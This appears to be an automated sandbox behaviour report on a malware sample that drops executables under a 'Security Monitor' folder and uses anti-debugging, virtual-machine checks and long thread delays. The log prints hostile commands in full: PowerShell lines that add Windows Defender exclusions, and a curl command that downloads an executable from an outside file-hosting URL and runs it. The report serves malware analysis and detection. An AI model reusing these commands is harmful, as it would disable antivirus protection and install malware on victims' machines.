Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5377	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4397	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Window / User API: threadDelayed 3826	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Window / User API: threadDelayed 5991	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6833	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2772	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7772
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1783
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8429
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1079
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7702
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1742
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5777
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3986
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7765
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1882
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6175
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3508
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8010
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1591
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7246
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2340
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8466
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 915
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5961
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3763

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JF90R.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-IFJUI.tmp	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ASDJS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-V94IU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-P60MT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-269PL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OO1B8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\webbrowser.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ILFVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_isdecmp.dll	Jump to dropped file

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_67-36475

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

API coverage: 7.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2640	Thread sleep count: 5377 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2640	Thread sleep count: 4397 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6092	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe TID: 6036	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe TID: 796	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7320	Thread sleep count: 6833 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep count: 2772 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7348	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep count: 7772 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep count: 1783 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2828	Thread sleep count: 8429 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5264	Thread sleep count: 1079 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7524	Thread sleep count: 7702 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep count: 1742 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2084	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 5777 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep count: 3986 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7656	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep count: 7765 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep count: 1882 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6832	Thread sleep count: 6175 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6628	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6868	Thread sleep count: 3508 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4336	Thread sleep count: 8010 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 1591 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1244	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4996	Thread sleep count: 7246 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2336	Thread sleep count: 2340 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep count: 8466 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep count: 915 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4592	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 5961 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 3763 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe TID: 7036	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5168	Thread sleep count: 126 > 30
Source: C:\Windows\SysWOW64\timeout.exe TID: 5264	Thread sleep count: 44 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystem

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0040AC68 FindFirstFileW,FindClose,	53_2_0040AC68
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_0040A700 lstrcpynW,lstrcpynW,lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	53_2_0040A700
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033C75E8 FindFirstFileA,	53_2_033C75E8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033C76C4 FindFirstFileA,GetLastError,	53_2_033C76C4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C60F2 GetSystemInfo,

53_2_033C60F2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: NETSTAT.EXE, 00000040.00000002.2593027427.00000000033CA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllm
Source: curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: svchost.exe, 00000007.00000002.2932740922.000002BE17659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2925637853.000002BE1202B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2925747202.000002BE12043000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: spkl.exe, 00000035.00000002.2958710472.000000000184E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll&
Source: curl.exe, 0000000D.00000003.2045959683.0000000002EE0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000003.2045999780.0000000002EE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: spmm.exe, 00000049.00000002.2925038752.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli0Y
Source: curl.exe, 00000005.00000003.1700333845.000001295C1B6000.00000004.00000020.00020000.00000000.sdmp, [space]= .exe, 00000006.00000002.1983125649.0000000000FE3000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000043.00000002.2715156517.00000000017E8000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000002.2766389640.0000000001798000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2745068935.0000000000C08000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768473168.00000000015D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: spkl.exe, 00000035.00000002.2933829318.0000000001484000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: @@IdPORT_vmnet

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_67-36000

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033EB8B0 rdtsc

53_2_033EB8B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 67_2_00D1119B SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,

67_2_00D1119B

Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434"	Jump to behavior
